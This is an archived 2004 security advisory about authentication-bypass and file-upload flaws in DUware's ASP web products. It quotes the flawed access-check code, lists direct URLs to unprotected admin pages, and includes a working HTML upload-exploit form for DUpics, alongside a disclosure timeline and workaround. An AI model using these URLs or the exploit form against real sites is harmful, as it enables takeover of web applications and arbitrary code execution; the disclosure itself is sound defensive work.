

[VulnWatch] [SCSA-026] DUWARE Products Admin Access and Arbitrary File Upload Vulnerability

Source: <http://www.derkeiler.com/Mailing-Lists/VulnWatch/2004-01/0019.html>

advisory_at_security-corporation.com

Date: 01/20/04

Date: Tue, 20 Jan 2004 23:20:40 +0100

To: vulnwatch@vulnwatch.org

=====
Security Corporation Security Advisory [SCSA-026]

DUWARE Products Admin Access and Arbitrary File Upload Vulnerability
=====

PROGRAM: DUWARE Products

HOME PAGE: <http://www.duware.com>

VULNERABLE VERSIONS:

Product : DUcalendar

Versions : 1.0, 1.1

Product : DUclassified

Versions : 4.0, 4.1

Product : DUdirectory

Version : 3.0

Product : DUdownload

Version : 1.0

Product : DUGallery

Versions : 3.0, 3.1, 3.2, 3.3

Product : DUPics

Version : 3.0

Product : DUportal

Version : 3.0

Product : DUarticle

Version : 1.0

Product : DUclassmate
Version : 1.0

Product : DUpoll
Version : 3.0

Product : DUnews
Version : 1.0

Product : DUamazon
Version : 3.0

Product : DUpaypal
Version : 3.0

Product : DUfaq
Version : 1.0

Product : DUforum
Version : 3.0

RISK: MEDIUM/HIGH
IMPACT: Admin Access
Arbitrary File Upload

RELEASE DATE: 2004-01-20

TABLE OF CONTENTS

1.....DESCRIPTION
2.....DETAILS
3.....EXPLOITS
4.....SOLUTIONS
5.....WORKAROUND
6.....DISCLOSURE TIMELINE
7.....CREDITS
8.....DISCLAIMER
9.....REFERENCES
10.....FEEDBACK

1. DESCRIPTION

Product : DUcalendar
Versions : 1.0, 1.1

DUcalendar is a free Event Calendar application. Backend by Access database, DUcalendar can store thousands of events in category. Each event is displayed with full detail and description, also with its related events. You can customize DUcalendar to list only the events that you want to offer your visitors such as about Internet, TV, games, or convert. DUcalendar is an excellent add-on for your Web site. Start building communities and attracting more visitors to your site by using this free application.

Product : DUclassified
Versions : 4.0, 4.1

DUclassified is a free Classified Ad Management application. Backend by Access database, DUclassified can store thousands of classified ads in category. Each classified ad is displayed with picture, full detail and description. Visitors can contact the ad's owner via a form. Ad' owners can manage their ads via a user-friendly panel. DUclassified is an excellent add-on for your Web site. Start building communities and attracting more visitors to your site by using this free application.

Product : DUdirectory
Version : 3.0

DUdirectory is a free Links Listing Web application. Backend by Access database, DUdirectory can store thousands of links in category. Each link is displayed with full detail and description, also with its related links. You can customize DUdirectory to list only the links that you want to offer your visitors such as about Internet, books, games, or music. DUdirectory is an excellent add-on for your Web site. Start building communities and attracting more visitors to your site by using this free application.

Product : DUdownload
Version : 1.0

DUdownload is a free Files Listing application. Backend by Access database, DUdownload can store thousands of file urls in category. Each file is displayed with full detail and description, also with its related files. You can customize DUdownload to list only the file urls that you want to offer your visitors such as about Internet, books, games, or music. DUdownload is an excellent add-on for your Web site. Start building communities and attracting more visitors to your site by using this free application

Product : DUgallery
Versions : 3.0, 3.1, 3.2, 3.3

DUclassified is a free Classified Ad Management application. Backend by Access database, DUclassified can store thousands of classified ads in category. Each classified ad is displayed with picture, full detail and description. Visitors can contact the ad's owner via a form. Ad' owners can manage their ads via a user-friendly panel. DUclassified is an excellent add-on for your Web site. Start building communities and attracting more visitors to your site by using this free application.

Product : DUPics
Version : 3.0

DUpics is a free Picture Voting application. Backend by Access database, DUpics can store thousands of pictures. Visitors can submit their own pictures for others to vote. After each vote, the picture will be shown on the side together with its average voting value. There is also a gallery of all pictures with their stats. DUpics is an excellent add-on for your Web site. Start building communities and attracting more visitors to your site by using this free application.

Product : DUportal
Version : 3.0

DUportal is a free Web portal and online community. Backed end by Access database, DUportal contains numerous advanced features such as Web-based administration, Articles, Banner Ads, Event Calendar, Classified Ads, Web link directory, Downloads, Message Board, Picture Gallery, News, E-Commerce, Polls and Business Directory, and more which can be downloaded online. All modules are customizable via Web-based Admin panel, together with size, skins and themes. DUportal is an excellent solution for your Web portal and online community needs. Start building a community online by using this free Web application.

Product : DUarticle
Version : 1.0

DUarticle is a free Articles Listing Web application. Backend by Access database, DUarticle can store thousands of articles in category. Each article is displayed with full detail and description, also with its related articles. You can customize DUarticle to list only the articles that you want to offer your visitors such as about Internet, books,

games, or music. DUarticle is an excellent add-on for your Web site. Start building communities and attracting more visitors to your site by using this free application.

Product : DUclassmate
Version : 1.0

DUclassmate is a free Classmates Listing & Friends Search Web application. Backend by Access database, DUclassmate can store unlimited number of alumni organized within states, cities and schools. Each entry is displayed with with old and new names, address, bio. and more. DUclassmate is an excellent add-on for your Web site. Start building communities and attracting more visitors to your site by using this free application.

Product : DUPoll
Version : 3.0

DUPoll is a free Poll Manager application. Backend by Access database, DUPoll provides you unlimited numbers polls and choices. You can place the active poll anywhere on your Web page. DUPoll uses Cookies to prevent users from voting on one poll more than once. Poll result is presented with bar graph and numbers of votes for each choice, together with the percentage. Start building communities and attracting more visitors to your site by using this free application.

Product : DUnews
Version : 1.0

DUnews is a free News Listing Web application. Backend by Access database, DUnews can store thousands of news articles in category. Each news article is displayed with full detail and description, also with its related articles. You can customize DUnews to list only the articles that you want to offer your visitors such as about Internet, books, games, or music. DUnews is an excellent add-on for your Web site. Start building communities and attracting more visitors to your site by using this free application.

Product : DUamazon
Version : 3.0

DUamazon is a free Web storefront for affiliates of Amazon. Backend by Access database, DUamazon can store thousands of Amazon's products in category with product images. Each product is displayed with full detail and description,

also with its related products. You can customize DUamazon to list only the products that you want to offer your visitors such as books, games, or music. DUamazon is an excellent add-on for your Web site. Start earning up to 15% commission and attracting more visitors to your site by using this free application.

Product : DUpaypal
Version : 3.0

DUpaypal is a free Paypal-based E-Commerce storefront. Backend by Access database, DUpaypal can store thousands of products in category with images. Each product is displayed with full detail and description, also with its related products. You can customize DUpaypal to sell only the products that you want to offer your customers such as books, games, or CDs or clothes. DUpaypal is an excellent add-on for your Web site. Start selling your products and attracting more customers to your site by using this free application.

Product : DUfaq
Version : 1.0

DUfaq is a free Knowledge Base Web application. Backend by Access database, DUfaq can store unlimited number of questions and answers organized in category. Each question is displayed with full detail and answer, also with its related questions. You can customize DUfaq to list only the questions that you want to offer your visitors such as about Customer Support, Shipping and Handling, etc. DUfaq is an excellent add-on for your Web site. Start building communities and attracting more visitors to your site by using this free application.

Product : DUforum
Version : 3.0

DUforum is a free Message Board application. Backend by Access database, DUforum can store unlimited numbers of messages and forums. DUforum is an excellent add-on for your Web site. Attract more visitors to your site by using this free application.

(direct quote from DUWARE website)

2. DETAILS

– Admin Access :

A vulnerability has been discovered in DUWARE Products, which allows malicious users to become administrators

VulnWatch: [VulnWatch] [SCSA-026] DUWARE Products Admin Access and Arbitrary File Upload Vulnerability

This vulnerability affect all products of DUware.

For example we use the DUcalendar product and its /admin/edit.asp file.

Here the vulnerable code :

```
<% Response.Buffer = True %>
<html>
<head>
<title>DUcalendar 1.0</title>
<link href="../assets/DUcalendar.css" rel="stylesheet" type="text/css">
</head>
<body background="../assets/bg_main.gif" >
<table width="760" border="0" cellspacing="2" cellpadding="0">
<tr>
<td>
<!--#include file="inc_header.asp" -->
</td>
</tr>
<tr>
<td>
<table width="100%" border="0" cellpadding="0" cellspacing="1"
bgcolor="#003399">
<tr>
<td bgcolor="#FFFFFF">
<!--#include file="inc_menu.asp" -->
<!--#include file="inc_edit.asp" -->
</td>
</tr>
</table></td>
</tr>
<tr>
<td>
<!--#include file="inc_footer.asp" -->
</td>
</tr>
</table>
</body>
</html>
```

We can see that files inc_menu.asp and inc_edit.asp are included.

The file inc_menu.asp contains the security code preventing the access to the edit.asp file :

Here the vulnerable code :

```
-----  
[...]  
<%  
' *** Restrict Access To Page: Grant or deny access to this page  
MM_authorizedUsers=""  
MM_authFailedURL="default.asp"  
MM_grantAccess=false  
If Session("MM_Username") <> "" Then  
If (true Or CStr(Session("MM_UserAuthorization"))="") Or _  
(InStr(1,MM_authorizedUsers,Session("MM_UserAuthorization"))>=1)  
Then  
MM_grantAccess = true  
End If  
End If  
If Not MM_grantAccess Then  
MM_qsChar = "?"  
If (InStr(1,MM_authFailedURL,"?") >= 1) Then MM_qsChar = "&"  
MM_referrer = Request.ServerVariables("URL")  
if (Len(Request.QueryString()) > 0) Then MM_referrer = MM_referrer & "?" &  
Request.QueryString()  
MM_authFailedURL = MM_authFailedURL & MM_qsChar & "accessdenied=" &  
Server.URLEncode(MM_referrer)  
Response.Redirect(MM_authFailedURL)  
End If  
>%  
[...]  
-----
```

This code of security is present in all the applications of DUware.

The problem is essentially due to 3 elements:

- All the administrator's code is in the file
- A file is includes allowing the connection to the data base:
<!--#include file="..\Connections/connDUcalendarAdmin.asp" -->
- No check of the administrator's rights is made in this file.
(Given that it was already made in the edit.asp file)

- Arbitrary File Upload :

A vulnerability has been identified in DUPics allowing malicious users to upload and execute arbitrary code by bypassing javascript filter.

3. EXPLOITS

- Admin Access :

- http://[target]/admin/inc_edit.asp?iEve=1
- http://[target]/admin/inc_events.asp
- http://[target]/admin/inc_type.asp

VulnWatch: [VulnWatch] [SCSA-026] DUWARE Products Admin Access and Arbitrary File Upload Vulnerability

>> *DUclassified* :

- http://[target]/admin/inc_cats.asp
- http://[target]/admin/inc_users.asp
- http://[target]/admin/inc_user_edit.asp?id=admin

>> *DUdirectory* :

- http://[target]/admin/inc_links.asp
- http://[target]/admin/inc_edit.asp?iLink=10
- http://[target]/admin/inc_type.asp

>> *DUdownload* :

- http://[target]/admin/inc_files.asp
- http://[target]/admin/inc_edit.asp?iFile=50
- http://[target]/admin/inc_type.asp

>> *DUgallery* :

- http://[target]/admin/inc_pictures.asp
- http://[target]/admin/inc_edit.asp?iPic=100
- http://[target]/admin/inc_type.asp

>> *DUpics* :

- http://[target]/admin/inc_add.asp
- http://[target]/admin/inc_pics.asp
- http://[target]/admin/inc_edit.asp?iPic=500
- http://[target]/admin/inc_type.asp

>> *DUportal* :

- http://[target]/admin/inc_channel_listing.asp
- http://[target]/admin/inc_channel_edit.asp?iChannel=5
- http://[target]/admin/inc_config.asp
- http://[target]/admin/inc_users.asp
- http://[target]/admin/inc_users_edit.asp?iUser=admin

etc...

- Arbitrary File Upload :

>> *DUpics* :

```
-----Dupicsexploit.html-----
<html>
<head><title>DUpics 3.0 Arbitrary File Upload Exploit</title></head>
<body>
<form action="/admin/inc_add.asp?GP_upload=true" method="post"
enctype="multipart/form-data"
onsubmit="this.action=this.url.value+this.action;alert('Your file will be
uploaded to '+this.url.value+'/pictures/');">
Target URL : <input type="text" name="url"
value="http://[target]/DUpics/"><br>
FILE : <input name="PIC_IMAGE" type="file"><br>
<input type="hidden" name="PIC_NAME" value="admin">
```

```
<input type="hidden" name="PIC_WIDTH">
<input type="hidden" name="PIC_HEIGHT">
<input type="hidden" name="PIC_APPROVED" value="1">
<input type="hidden" name="MM_insert" value="true">
<input type="submit" value="Upload" name="submit">
</form>
<p align="right">For more informations about this exploit :
<a href="http://www.security-corporation.com/advisories-026.html"
target="_blank"> Security-Corporation.com</a></p>
</body>
</html>
```

-----Duplicsexploit.html-----

4. SOLUTIONS

=====

The DUWare Services was notified and have released a fix for all products.

5. WORKAROUND

=====

It is necessary to change one of three points quoted previously.

- Do not put all the code of administration in these files

OR

- Remove the inclusion in all inc_ files and add it in main file.

```
<!--#include file="../Connections/connDUcalendarAdmin.asp" -->
```

OR

- Check the admin session in all inc_ files.

6. DISCLOSURE TIMELINE

=====

- 10/01/2004 Vulnerability discovered
- 12/01/2004 Vendor notified
- 14/01/2004 Vendor response
- 14/01/2004 Security Corporation clients notified
- 14/01/2004 Started e-mail discussions
- 17/01/2004 Last e-mail received
- 20/01/2004 Public disclosure

7. CREDITS

=====

frog-m@n <frog-man@security-corporation.com> from
<http://www.phpsecure.info> is credited with this discovery

8. DISCLAIMER

=====

The information within this paper may change without notice. Use of this information constitutes acceptance for use in an AS IS condition.

There are NO warranties with regard to this information. In no event shall the author be liable for any damages whatsoever arising out of or in connection with the use or spread of this information. Any use of this information is at the user's own risk.

9. REFERENCES

– Original Version:

<http://www.security-corporation.com/advisories-026.html>

– Version Française:

<http://www.security-corporation.com/index.php?id=advisories&a=026-FR>

10. FEEDBACK

Please send suggestions, updates, and comments to:

Security Corporation

<http://www.security-corporation.com>

advisory@security-corporation.com